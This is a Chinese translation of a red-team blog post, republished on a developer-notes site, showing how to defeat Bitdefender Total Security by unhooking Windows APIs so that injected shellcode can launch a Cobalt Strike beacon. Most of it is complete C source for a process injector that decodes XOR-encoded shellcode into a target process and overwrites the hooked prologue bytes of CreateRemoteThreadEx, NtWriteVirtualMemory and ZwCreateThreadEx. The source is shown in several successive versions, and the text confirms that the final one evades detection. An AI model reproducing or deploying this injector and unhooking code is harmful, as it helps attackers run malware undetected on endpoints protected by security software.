热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

读取进程access_利用APIunhooking完成进程注入,成功绕过Bitdefender检测

绕过端点防护软件(如AVEDR)是红队行动中的一项重要工作,但是在完成这项工作之前,我们可能需要一些时间来了解这些防护软件是如何工作的。而随着网上发布了

38d1184c0968326c0d26f0ac3e7b8a0c.gif

绕过端点防护软件(如AV/EDR)是红队行动中的一项重要工作,但是在完成这项工作之前,我们可能需要一些时间来了解这些防护软件是如何工作的。而随着网上发布了大量关于这个主题的资源,了解这些产品的工作原理以及如何绕过它们也变得更加容易。在这篇文章中,我将向大家展示如何利用windows API unhooking技术来绕过BitDefender全功能安全套装的。在此过程中,我们将为读者介绍关于API unhooking的概念,以及如何利用这种技术来绕过安全防护软件。

我们的主要目标是,在启动了BitDefender全功能安全套装的机器上,通过进程注入以获得一个“活蹦乱跳”的Cobalt Strike Beacon。

6f836146a6c0fddc49d8d7a3dc4ea9ed.png
什么是API Hooking?

API hooking是一种用于拦截和检查win32 API调用的方法,这种技术被AV/EDR用来监视win32 API调用,并判断这些调用是否合法。所以简单来说,AV/EDR会通过在一个由解决方案本身控制的自定义模块中添加一个JMP指令来改变普通API调用的执行流程,该模块会扫描API调用及其参数,并检查它们是否合法。

这篇由Spotless撰写的文章解释了API hooking的工作原理,感兴趣的读者可以通过它来了解该技术的详细信息。

6f836146a6c0fddc49d8d7a3dc4ea9ed.png
尝试通过进程注入实现免杀

在之前的文章中,我介绍了如何先对shellcode进行编码,然后再在内存中进行解码,以实现免杀。下面,让我们再尝试一下这种技术,看看它针对BitDefender全功能安全套装是否有效。

像在上一篇文章中一样,用于对shellcode进行编码的代码并没有发生变化,具体如下所示:

#include

// This code was written for researching purpose, you have to edit it before using it in real-world

// This code will deocde your shellcode and write it directly to the memory

int main(int argc, char* argv[]) {

// Our Shellcode

unsigned char shellcode[] = "MyEncodedshellcode";

// Check arguments counter

if(argc != 2){

    printf("[+] Usage : decoder.exe [PID]\n");

    exit(0);

}

// The process id we want to inject our code to passed to the executable

// Use GetCurrentProcessId() to inject the shellcode into original process

int process_id = atoi(argv[1]);

// Define the base_address variable which will save the allocated memory address

LPVOID base_address;

// Retrive the process handle using OpenProcess

HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

    if (process) {

        printf("[+] Handle retrieved successfully!\n");

        printf("[+] Handle value is %p\n", process);

        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (base_address) {

            printf("[+] Allocated based address is 0x%x\n", base_address);

                // Data chars counter

                int i;

                // Base address counter

                int n = 0;

                for(i &#61; 0; i<&#61;sizeof(shellcode); i&#43;&#43;){

                    // Decode shellcode opcode (you can edit it based on your encoder settings)

                    char DecodedOpCode &#61; shellcode[i] ^ 0x01;

                    // Write the decoded bytes in memory address

                    if(WriteProcessMemory(process, base_address&#43;n, &DecodedOpCode, 1, NULL)){

            // Write the memory address where the data was written

                        printf("[&#43;] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address &#43; n);

                        // Increase memory address by 1

                        n&#43;&#43;;

                    }

                }

                // Run our code as RemoteThread

                CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);

        }

        else {

            printf("[&#43;] Unable to allocate memory ..\n");

        }

    }

    else {

        printf("[-] Enable to retrieve process handle\n");

    }

}

当我编译文件并运行它来注入explorer.exe的shellcode后&#xff0c;我得到了以下结果&#xff1a;

de52bf2c92257309dca01c795ef9261b.png

BitDefender检测到该文件的执行情况并进行了拦截

我们可以看到&#xff0c;上述代码执行时被BitDefender检测到并被拦截&#xff0c;同时&#xff0c;“injector.exe”也被删除了。

那么&#xff0c;到底发生了什么&#xff0c;为什么上述代码在执行时会被拦截呢&#xff1f;

6f836146a6c0fddc49d8d7a3dc4ea9ed.png
检测hooking

在重新编译可执行文件后&#xff0c;我开始进行调试&#xff0c;看看有没有外部DLL被注入到可执行文件中&#xff0c;结果如下所示&#xff1a;

8267a4eb4c68d8424d02494823ae55f6.png

注入的定制模块

我的可执行文件中加载了一个名为atcuf64.dll的文件&#xff0c;并且这个文件与BitDefender有关&#xff01;

于是&#xff0c;我开始调试在shellcode注入过程中调用的主要win32API&#xff0c;当然&#xff0c;我从最可疑的 "CreateRemoteThread "开始调试的&#xff0c;反汇编结果如下所示&#xff1a;

2f2ff103318fa76f152cf6c83278d3f7.png

CreateRemoteThread的反汇编代码

这里没有什么可疑的地方&#xff0c;但是&#xff0c;从执行流程中我们可以看到&#xff0c;我们将使用CreateRemoteThreadEx API&#xff0c;所以&#xff0c;我对其进行反汇编&#xff0c;结果如下所示&#xff1a;

e9765eeaa11c54b7db1da19e2c2e6d47.png

被Hooked的CreateRemoteThread

这看起来很不寻常&#xff01;我们在API的开头部分有一个JMP指令&#xff0c;如果我们跟踪执行流程&#xff0c;则会看到下列情况&#xff1a;

9915b39ba59fc73ce19d4e585be868a7.png

重定向到BitDefender模块

我们可以看到&#xff0c;在执行完JMP后&#xff0c;我们将到达actuf64.dll&#xff0c;这意味着这个函数上有一个hook&#xff0c;可以将执行流程重定向到BitDefender的模块中检查相关调用。

所以&#xff0c;当我们试图对CreateRemoteThread进行调用时&#xff0c;当它到达CreateRemoteThreadEx时&#xff0c;调用会被重定向到BitDefender的模块&#xff0c;为了避免对其进行检查&#xff0c;我们需要将函数CreateRemoteThreadEx返回到原来的状态&#xff0c;这就是unhooking的概念。

而基于此&#xff0c;我们的CreateRemoteThread API调用将不会继续按照预定的执行流程进行&#xff0c;也就是不会到达ZwCreateThreadEx API&#xff0c;而这个API是CreateRemoteThreadEx依赖的底层API。

关于这个问题&#xff0c;我们后面会详细介绍&#xff0c;现在只要记住这一点就可以了。

6f836146a6c0fddc49d8d7a3dc4ea9ed.png
API Unhooking

同样&#xff0c;API Unhooking是这样一种技术&#xff0c;它们能够让被AV/EDR动过手脚的API返回原始状态&#xff0c;这里所说的“手脚”指的是添加到API中的JMP&#xff0c;该JMP用于将其钩住&#xff0c;以改变原来的执行流程。

我们如何将它恢复到原来的状态呢&#xff1f;我们可以通过以下方式来实现&#xff1a;

· 对于被做过手脚的函数&#xff0c;从原始函数中读取原始字节。为了实现该任务&#xff0c;只需通过调试器直接从DLL反汇编出该函数即可。

· 用原始字节覆盖被动过手脚的字节。该任务可以通过简单的内存补丁来实现&#xff1a;只需将数据写入特定的地址即可。

为了得到CreateRemoteThreadEx API的原始字节&#xff0c;我们可以打开一个新的调试器窗口&#xff0c;并加载kernelbase.dll&#xff0c;因为我们的CreateRemoteThreadEx函数就在那里。

然后&#xff0c;我们可以在命令窗口中键入“disasm CreateRemoteThreadEx”&#xff1a;

b3ae94eb9e30d3d6b32a5a39f1eab248.png

disasm命令

ec50c118539476476873d52cf069b666.png

CreateRemoteThreadEx的原始字节

另一种从“x64dbg”中获取原始字节的方法是将调试器附加到kernelbase.dll后&#xff0c;打开符号选项卡&#xff0c;最后在搜索栏中搜索CreateRemoteThreadEx函数&#xff0c;双击得到如下内容&#xff1a;

20a528a2cfeed4628836f30d0029217c.png

搜索CreateRemoteThreadEx

ec50c118539476476873d52cf069b666.png

CreateRemoteThreadEx原始字节(与其他方法得到的结果相同)

我们可以看到&#xff0c;我们通过反汇编API得到了原始字节&#xff0c;从原始字节中我们可以看到&#xff0c;它有5个字节“4C 8B DC 53 56”被JMP指令所代替&#xff0c;所以&#xff0c;为了解除该函数的钩子&#xff0c;并恢复到原来的状态&#xff0c;我们需要在kernelbase.dll被加载到我们的二进制代码后&#xff0c;覆盖这些字节。

我们可以使用下面的代码来实现该操作&#xff1a;

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)

HANDLE kernalbase_handle &#61; GetModuleHandle("kernelbase");

LPVOID CRT_address &#61; GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

printf("[&#43;] CreateRemoteThreadEx address is : %p\n", CRT_address);

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){

    printf("[&#43;] CreateRemoteThreadEx unhooking done!\n");

}

上面的代码将使用GetModuleHandle函数获取kernelbase.dll模块的句柄&#xff0c;然后使用GetProcAddress获取函数CreateRemoteThreadEx的地址&#xff0c;然后打印CreateRemoteThreadEx的地址&#xff0c;最后写入由字节“\x4C\x8B\xDC\x53\x56”组成的原始字节。

之后&#xff0c;我们将CreateRemoteThreadEx的地址打印出来&#xff0c;最后&#xff0c;我们将原始字节“\x4C\x8B\xDC\x53\x56”写到函数的开头部分&#xff0c;并利用WriteProcessMemory将其恢复到原来的状态。

当然&#xff0c;我们是把CetCurrentProcess()作为进程句柄传递给WriteProcessMemory的。

所以&#xff0c;我们的代码将变成&#xff1a;

#include

// This code was written for researching purpose, you have to edit it before using it in real-world

// This code will deocde your shellcode and write it directly to the memory using WIN32APIs

// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security

int main(int argc, char* argv[]) {

// Our Shellcode

unsigned char shellcode[] &#61; "";

// Check arguments counter

if(argc !&#61; 2){

    printf("[&#43;] Usage : injector.exe [PID]\n");

    exit(0);

}

// The process id we want to inject our code to passed to the executable

// Use GetCurrentProcessId() to inject the shellcode into original process

int process_id &#61; atoi(argv[1]);

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)

HANDLE kernalbase_handle &#61; GetModuleHandle("kernelbase");

LPVOID CRT_address &#61; GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

printf("[&#43;] CreateRemoteThreadEx address is : %p\n", CRT_address);

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){

    printf("[&#43;] CreateRemoteThreadEx unhooking done!\n");

}

// Define the base_address variable which will save the allocated memory address

LPVOID base_address;

// Retrive the process handle using OpenProcess

HANDLE process &#61; OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

    if (process) {

        printf("[&#43;] Handle retrieved successfully!\n");

        printf("[&#43;] Handle value is %p\n", process);

        base_address &#61; VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (base_address) {

            printf("[&#43;] Allocated based address is 0x%x\n", base_address);

                // Data chars counter

                int i;

                // Base address counter

                int n &#61; 0;

                for(i &#61; 0; i<&#61;sizeof(shellcode); i&#43;&#43;){

                    // Decode shellcode opcode (you can edit it based on your encoder settings)

                    char DecodedOpCode &#61; shellcode[i] ^ 0x01;

                    // Write the decoded bytes in memory address

                    if(WriteProcessMemory(process, base_address&#43;n, &DecodedOpCode, 1, NULL)){

            // Write the memory address where the data was written

                        printf("[&#43;] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address &#43; n);

                        // Increase memory address by 1

                        n&#43;&#43;;

                    }

                }

                // Run our code as RemoteThread

            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);

        }

        else {

            printf("[&#43;] Unable to allocate memory ..\n");

        }

    }

    else {

        printf("[-] Enable to retrieve process h2andle\n");

    }

}

重新编译后&#xff0c;我又把它附加到调试器上&#xff0c;并在OpenPrcoess函数中设置了一个断点&#xff0c;以确保我们能到达补丁代码中如下所示的“解钩部分”&#xff1a; 

9f9b983db5d9c68840aa1bf17a54ec7f.png

正如我们所看到的&#xff0c;打补丁过程没有任何问题&#xff0c;我们打印了CreateRemoteThreadEx函数的地址&#xff0c;这与之前是一样的。

那么&#xff0c;我们把那个地址进行反汇编&#xff0c;从而得到CreateRemoteThreadEx的地址&#xff0c;具体如下所示&#xff1a;

64303ed73cd823deccdb8b0c614878dc.png

打过补丁的CreateRemoteThreadEx

太好了&#xff01;我们可以看到&#xff0c;我们恢复了我们的API的原始字节(即完成了脱钩操作)&#xff0c;这样执行流程将恢复正常。

现在如果我们运行软件应该就可以了吧&#xff1f;

不幸的是&#xff0c;答案是否定的&#xff01;因为当我执行程序时&#xff0c;它又被检测到了&#xff0c;这次甚至在执行CreateRemoteThread函数之前就被检测到了&#xff0c;这意味着&#xff0c;在我们编辑代码后&#xff0c;仍有另一个API被捕获了。

经过对代码的深入挖掘&#xff0c;以及回顾了我所做的修改后&#xff0c;我注意到我们使用了“WriteProcessMemory”调用来写入我们shellcode中的每一个字节&#xff0c;并对内存进行了修补&#xff0c;这引起了BitDefender的怀疑。

于是我试着通过反汇编WriteProcessMemory&#xff0c;看看它是否被钩住了&#xff0c;结果如下所示&#xff1a;

5f9136a62bc9c21e03c0c86806a2585c.png

没有任何可疑之处&#xff0c;所以&#xff0c;下面让我们跟踪执行流程&#xff0c;看看这个普通的JMP跳转到kernelbase后到底发生了什么。

995e9e40d93cbd282db79b220af79cf5.png

调用NtWriteVirutalMemory

所以&#xff0c;我们可以看到&#xff0c;我们到达了一个位置&#xff0c;该位置发生了对NtWriteVirtualMemory的调用&#xff0c;当然&#xff0c;这个调用是“WriteProcessMemory”使用的底层函数&#xff0c;让我们跟踪该调用&#xff0c;看看到底啥情况&#xff1a;

54889a483b090058a581f0ae4b264481.png

NtWriteVirualMemory被钩住了

原来是函数NtWriteVirtualMemory被钩住了&#xff01;而且由于某种原因&#xff0c;一旦我们修补了内存&#xff0c;并用它来写入shellcode时&#xff0c;它就被检测到了&#xff1b;不过请注意&#xff0c;当我第一次执行可执行文件时&#xff0c;它成功地到达了CreateRemoteThread!

也就是说&#xff0c;一旦我们添加了补丁函数&#xff0c;这个调用就变得可疑了。

所以&#xff0c;为了绕过这个问题&#xff0c;我们需要给NtWriteVirtualMemory打补丁&#xff0c;让我们像使用CreateRemoteThreadEx函数一样来获取它的原始字节。

而要做到这一点&#xff0c;我们可使用调试器打开ntdll.dll&#xff0c;并反汇编NtWriteVirtualMemory函数&#xff0c;从而得到以下字节&#xff1a;

c93f092dd6a48549237318f5551f6983.png

NtWriteVirualMemory的原始字节

如上所示&#xff0c;我们得到了NtWriteVirualMemory的原始字节&#xff0c;而这些字节将被Bitdefender模块的JMP所替换。

JMP替换的几个字节为“4C 8B D1 B8 3C”&#xff0c;所以&#xff0c;要想解除这个函数上的钩子&#xff0c;我们需要把JMP替换成原来的那5个字节&#xff1b;为此&#xff0c;我们将重新使用之前的代码&#xff0c;具体如下所示&#xff1a;

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)

// Unhooked it because it gets detected while calling it multiple times

HANDLE ntdll_handle &#61; GetModuleHandle("ntdll");

LPVOID NtWriteVirtualMemory_Address &#61; GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");

printf("[&#43;] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);

if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){

    printf("[&#43;] NtWriteVirtualMemory unkooking done!\n");

}

我们还是使用GetModuleHandle来获取ntdll库&#xff0c;并使用GetProcAddress来获取NtWriteVirtualMemory函数的地址。

最后&#xff0c;我们把原来的字节写到NtWriteVirtualMemory函数的开头部分&#xff0c;它将用原来的5个字节替换JMP指令。

所以&#xff0c;injector的代码将变成&#xff1a;

#include

// This code was written for researching purpose, you have to edit it before using it in real-world

// This code will deocde your shellcode and write it directly to the memory using WIN32APIs

// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security

int main(int argc, char* argv[]) {

// Our Shellcode

unsigned char shellcode[] &#61; "";

// Check arguments counter

if(argc !&#61; 2){

    printf("[&#43;] Usage : injector.exe [PID]\n");

    exit(0);

}

// The process id we want to inject our code to passed to the executable

// Use GetCurrentProcessId() to inject the shellcode into original process

int process_id &#61; atoi(argv[1]);

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)

HANDLE kernalbase_handle &#61; GetModuleHandle("kernelbase");

LPVOID CRT_address &#61; GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

printf("[&#43;] CreateRemoteThreadEx address is : %p\n", CRT_address);

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){

    printf("[&#43;] CreateRemoteThreadEx unhooking done!\n");

}

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)

// Unhooked it because it gets detected while calling it multiple times

HANDLE ntdll_handle &#61; GetModuleHandle("ntdll");

LPVOID NtWriteVirtualMemory_Address &#61; GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");

printf("[&#43;] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);

if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){

    printf("[&#43;] NtWriteVirtualMemory unkooking done!\n");

}

// Define the base_address variable which will save the allocated memory address

LPVOID base_address;

// Retrive the process handle using OpenProcess

HANDLE process &#61; OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

    if (process) {

        printf("[&#43;] Handle retrieved successfully!\n");

        printf("[&#43;] Handle value is %p\n", process);

        base_address &#61; VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (base_address) {

            printf("[&#43;] Allocated based address is 0x%x\n", base_address);

                // Data chars counter

                int i;

                // Base address counter

                int n &#61; 0;

                for(i &#61; 0; i<&#61;sizeof(shellcode); i&#43;&#43;){

                    // Decode shellcode opcode (you can edit it based on your encoder settings)

                    char DecodedOpCode &#61; shellcode[i] ^ 0x01;

                    // Write the decoded bytes in memory address

                    if(WriteProcessMemory(process, base_address&#43;n, &DecodedOpCode, 1, NULL)){

            // Write the memory address where the data was written

                        printf("[&#43;] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address &#43; n);

                        // Increase memory address by 1

                        n&#43;&#43;;

                    }

                }

                // Run our code as RemoteThread

            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);

        }

        else {

            printf("[&#43;] Unable to allocate memory ..\n");

        }

    }

    else {

        printf("[-] Enable to retrieve process h2andle\n");

    }

}

让我们编译上述代码&#xff0c;并将其附加到我们的调试器中&#xff0c;然后在CreateRemoteThread中设置一个断点&#xff0c;看看这次能否达到这里&#xff1b;同时&#xff0c;我们将查看控制台&#xff0c;看看是否成功修补了这两个函数。

如果我们达到了CreateRemoteThread函数&#xff0c;说明我们成功修补了NtWriteVirtualMemory函数&#xff0c;并能够绕过对它的限制。

所以&#xff0c;在做完这些之后&#xff0c;我得到了以下结果&#xff1a; 

5e80ccb49d7b5313fac55b7985c26bdb.png

解除钩子后&#xff0c;成功到达CreateRemoteThread

很好&#xff01;我们可以看到&#xff0c;在解除这两个函数的钩子后&#xff0c;我们到达了CreateRemoteThread&#xff0c;这意味着我们可以继续执行了。

还记得前面关于ZwCreateThreadEx的那句话吗&#xff1a;它是CreateRemoteThreadEx的底层函数。所以&#xff0c;让我们继续执行代码&#xff0c;直到我们到达该函数&#xff0c;以检查它是否被钩住。

67ef5801388a5bb46721a5ee5cf0b199.png

ZwCreateThreadEx被钩住了

我们可以看到&#xff0c;函数ZwCreateThreadEx也被钩住了&#xff01;这意味着如果我们继续运行的话&#xff0c;它将再次被重定向到BitDefender的模块&#xff0c;这正是我们需要避免的。

所以&#xff0c;我们仍然需要获取这个函数的原始字节&#xff0c;并用其被钩住的指令来解除这个函数的钩子&#xff0c;以实现“脱钩”。

于是&#xff0c;我再次使用调试器打开ntdll.dll&#xff0c;准备从ZwCreateThreadEx函数中读取原始指令&#xff1a;

96c066091afd0ef5a4476aeef3c693b8.png

选中ZwCreateThreadEx函数

点击该函数时&#xff0c;将得到以下代码&#xff1a;

7e20f411ccdb06e69c17e0fa7bbbb5ad.png

ZwCreateThreadEx 原始字节

我们得到了ZwCreateThreadEx的原始字节“4C 8B D1 B8 C1”&#xff0c;所以同样的&#xff0c;现在要想解除这个函数的钩子&#xff0c;我们只需要在ntdll中的原始函数加载到我们的可执行文件中之后&#xff0c;使用这些字节覆盖相应指令即可。

请注意&#xff0c;所有的原始字节都与syscall本身有关&#xff0c;也就是说JMP指令总能通过阻止运行API而避免被钩住。

我们将使用这段代码来编写最后的补丁&#xff0c;该补丁将像下面这样来避免ZwCreateThreadEx函数被钩住&#xff1a;

#include

// This code was written for researching purpose, you have to edit it before using it in real-world

// This code will deocde your shellcode and write it directly to the memory using WIN32APIs

// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security

int main(int argc, char* argv[]) {

// Our Shellcode

unsigned char shellcode[] &#61; "";

// Check arguments counter

if(argc !&#61; 2){

    printf("[&#43;] Usage : injector.exe [PID]\n");

    exit(0);

}

// The process id we want to inject our code to passed to the executable

// Use GetCurrentProcessId() to inject the shellcode into original process

int process_id &#61; atoi(argv[1]);

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)

HANDLE kernalbase_handle &#61; GetModuleHandle("kernelbase");

LPVOID CRT_address &#61; GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

printf("[&#43;] CreateRemoteThreadEx address is : %p\n", CRT_address);

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){

    printf("[&#43;] CreateRemoteThreadEx unhooking done!\n");

}

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)

// Unhooked it because it gets detected while calling it multiple times

HANDLE ntdll_handle &#61; GetModuleHandle("ntdll");

LPVOID NtWriteVirtualMemory_Address &#61; GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");

printf("[&#43;] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);

if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){

    printf("[&#43;] NtWriteVirtualMemory unkooking done!\n");

}

// Patch 3 to unhook ZwCreateThreadEx (ntdll.dll)

LPVOID ZWCreateThreadEx_address &#61; GetProcAddress(ntdll_handle, "ZwCreateThreadEx");

printf("[&#43;] ZwCreateThreadEx address is : %p\n", ZWCreateThreadEx_address);

if (WriteProcessMemory(GetCurrentProcess(), ZWCreateThreadEx_address, "\x4C\x8B\xD1\xB8\xC1", 5 , NULL)){

    printf("[&#43;] ZwCreateThreadEx unhooking done!\n");

}

// Define the base_address variable which will save the allocated memory address

LPVOID base_address;

// Retrive the process handle using OpenProcess

HANDLE process &#61; OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

    if (process) {

        printf("[&#43;] Handle retrieved successfully!\n");

        printf("[&#43;] Handle value is %p\n", process);

        base_address &#61; VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (base_address) {

            printf("[&#43;] Allocated based address is 0x%x\n", base_address);

                // Data chars counter

                int i;

                // Base address counter

                int n &#61; 0;

                for(i &#61; 0; i<&#61;sizeof(shellcode); i&#43;&#43;){

                    // Decode shellcode opcode (you can edit it based on your encoder settings)

                    char DecodedOpCode &#61; shellcode[i] ^ 0x01;

                    // Write the decoded bytes in memory address

                    if(WriteProcessMemory(process, base_address&#43;n, &DecodedOpCode, 1, NULL)){

            // Write the memory address where the data was written

                        printf("[&#43;] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address &#43; n);

                        // Increase memory address by 1

                        n&#43;&#43;;

                    }

                }

                // Run our code as RemoteThread

            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);

        }

        else {

            printf("[&#43;] Unable to allocate memory ..\n");

        }

    }

    else {

        printf("[-] Enable to retrieve process h2andle\n");

    }

}

正如我们所看到的&#xff0c;这与前面的补丁代码几乎完全相同&#xff0c;这里只是改变了几个字节和函数名。

所以&#xff0c;让我们再次编译代码&#xff0c;并在CreateRemoteThread函数中设置一个断点来读取控制台并在那里停止&#xff0c;然后我们将反汇编ZwCreateThreadEx函数&#xff0c;以查看它是否解除了钩子&#xff1a;

e46b9e819cf1259166ae6a484b2b20fe.png

所有的函数解除了钩子

我们可以看到&#xff0c;所有的函数都已经成功解除了钩子&#xff0c;并抵达了CreateRemoteThread函数。接下来&#xff0c;让我们反汇编ZwCreateThreadEx函数&#xff1a;

8a73c646a96e360b4d078e176c09f3ab.png

ZwCreateThreadEx已经解除了钩子

我们可以看到&#xff0c;该函数被成功解除了钩子&#xff0c;所以&#xff0c;我们应该可以顺利执行Injector了。

现在&#xff0c;我将关闭调试器&#xff0c;并像下面这样运行代码&#xff1a;

b1ba93341d1194da0a5f72d134233469.png

Injector已被执行

我们可以看到&#xff0c;它被顺利执行了&#xff0c;而且没有弹出任何警报!

然后&#xff0c;继续执行Cobalt Strike&#xff1a;

f7570e18490595989adedaef044b3b44.png

Cobalt Strike Beacon

看&#xff0c;Cobalt Strike Beacon并没有被检测到!

6f836146a6c0fddc49d8d7a3dc4ea9ed.png
致谢

在这里&#xff0c;我要特别感谢spotless撰写了关于API hooking的优秀文章&#xff0c;当然&#xff0c;也包括其他主题方面的文章。我在这篇文章中的方法&#xff0c;基本上就是出自这些文章。

参考及来源&#xff1a;https://shells.systems/defeat-bitdefender-total-security-using-windows-api-unhooking-to-perform-process-injection/

ea038cdb2a9d08e7c6593c5abfd24fed.png

a4782008e78b271a77c4874a150e4de2.png




推荐阅读
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • 开发笔记:实验7的文件读写操作
    本文介绍了使用C++的ofstream和ifstream类进行文件读写操作的方法,包括创建文件、写入文件和读取文件的过程。同时还介绍了如何判断文件是否成功打开和关闭文件的方法。通过本文的学习,读者可以了解如何在C++中进行文件读写操作。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 本文由编程笔记#小编整理,主要介绍了关于数论相关的知识,包括数论的算法和百度百科的链接。文章还介绍了欧几里得算法、辗转相除法、gcd、lcm和扩展欧几里得算法的使用方法。此外,文章还提到了数论在求解不定方程、模线性方程和乘法逆元方面的应用。摘要长度:184字。 ... [详细]
  • 本文介绍了使用哈夫曼树实现文件压缩和解压的方法。首先对数据结构课程设计中的代码进行了分析,包括使用时间调用、常量定义和统计文件中各个字符时相关的结构体。然后讨论了哈夫曼树的实现原理和算法。最后介绍了文件压缩和解压的具体步骤,包括字符统计、构建哈夫曼树、生成编码表、编码和解码过程。通过实例演示了文件压缩和解压的效果。本文的内容对于理解哈夫曼树的实现原理和应用具有一定的参考价值。 ... [详细]
  • 本文介绍了解决java开源项目apache commons email简单使用报错的方法,包括使用正确的JAR包和正确的代码配置,以及相关参数的设置。详细介绍了如何使用apache commons email发送邮件。 ... [详细]
  • 本文讨论了在使用Git进行版本控制时,如何提供类似CVS中自动增加版本号的功能。作者介绍了Git中的其他版本表示方式,如git describe命令,并提供了使用这些表示方式来确定文件更新情况的示例。此外,文章还介绍了启用$Id:$功能的方法,并讨论了一些开发者在使用Git时的需求和使用场景。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文探讨了C语言中指针的应用与价值,指针在C语言中具有灵活性和可变性,通过指针可以操作系统内存和控制外部I/O端口。文章介绍了指针变量和指针的指向变量的含义和用法,以及判断变量数据类型和指向变量或成员变量的类型的方法。还讨论了指针访问数组元素和下标法数组元素的等价关系,以及指针作为函数参数可以改变主调函数变量的值的特点。此外,文章还提到了指针在动态存储分配、链表创建和相关操作中的应用,以及类成员指针与外部变量的区分方法。通过本文的阐述,读者可以更好地理解和应用C语言中的指针。 ... [详细]
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • 本文介绍了如何使用Express App提供静态文件,同时提到了一些不需要使用的文件,如package.json和/.ssh/known_hosts,并解释了为什么app.get('*')无法捕获所有请求以及为什么app.use(express.static(__dirname))可能会提供不需要的文件。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • Week04面向对象设计与继承学习总结及作业要求
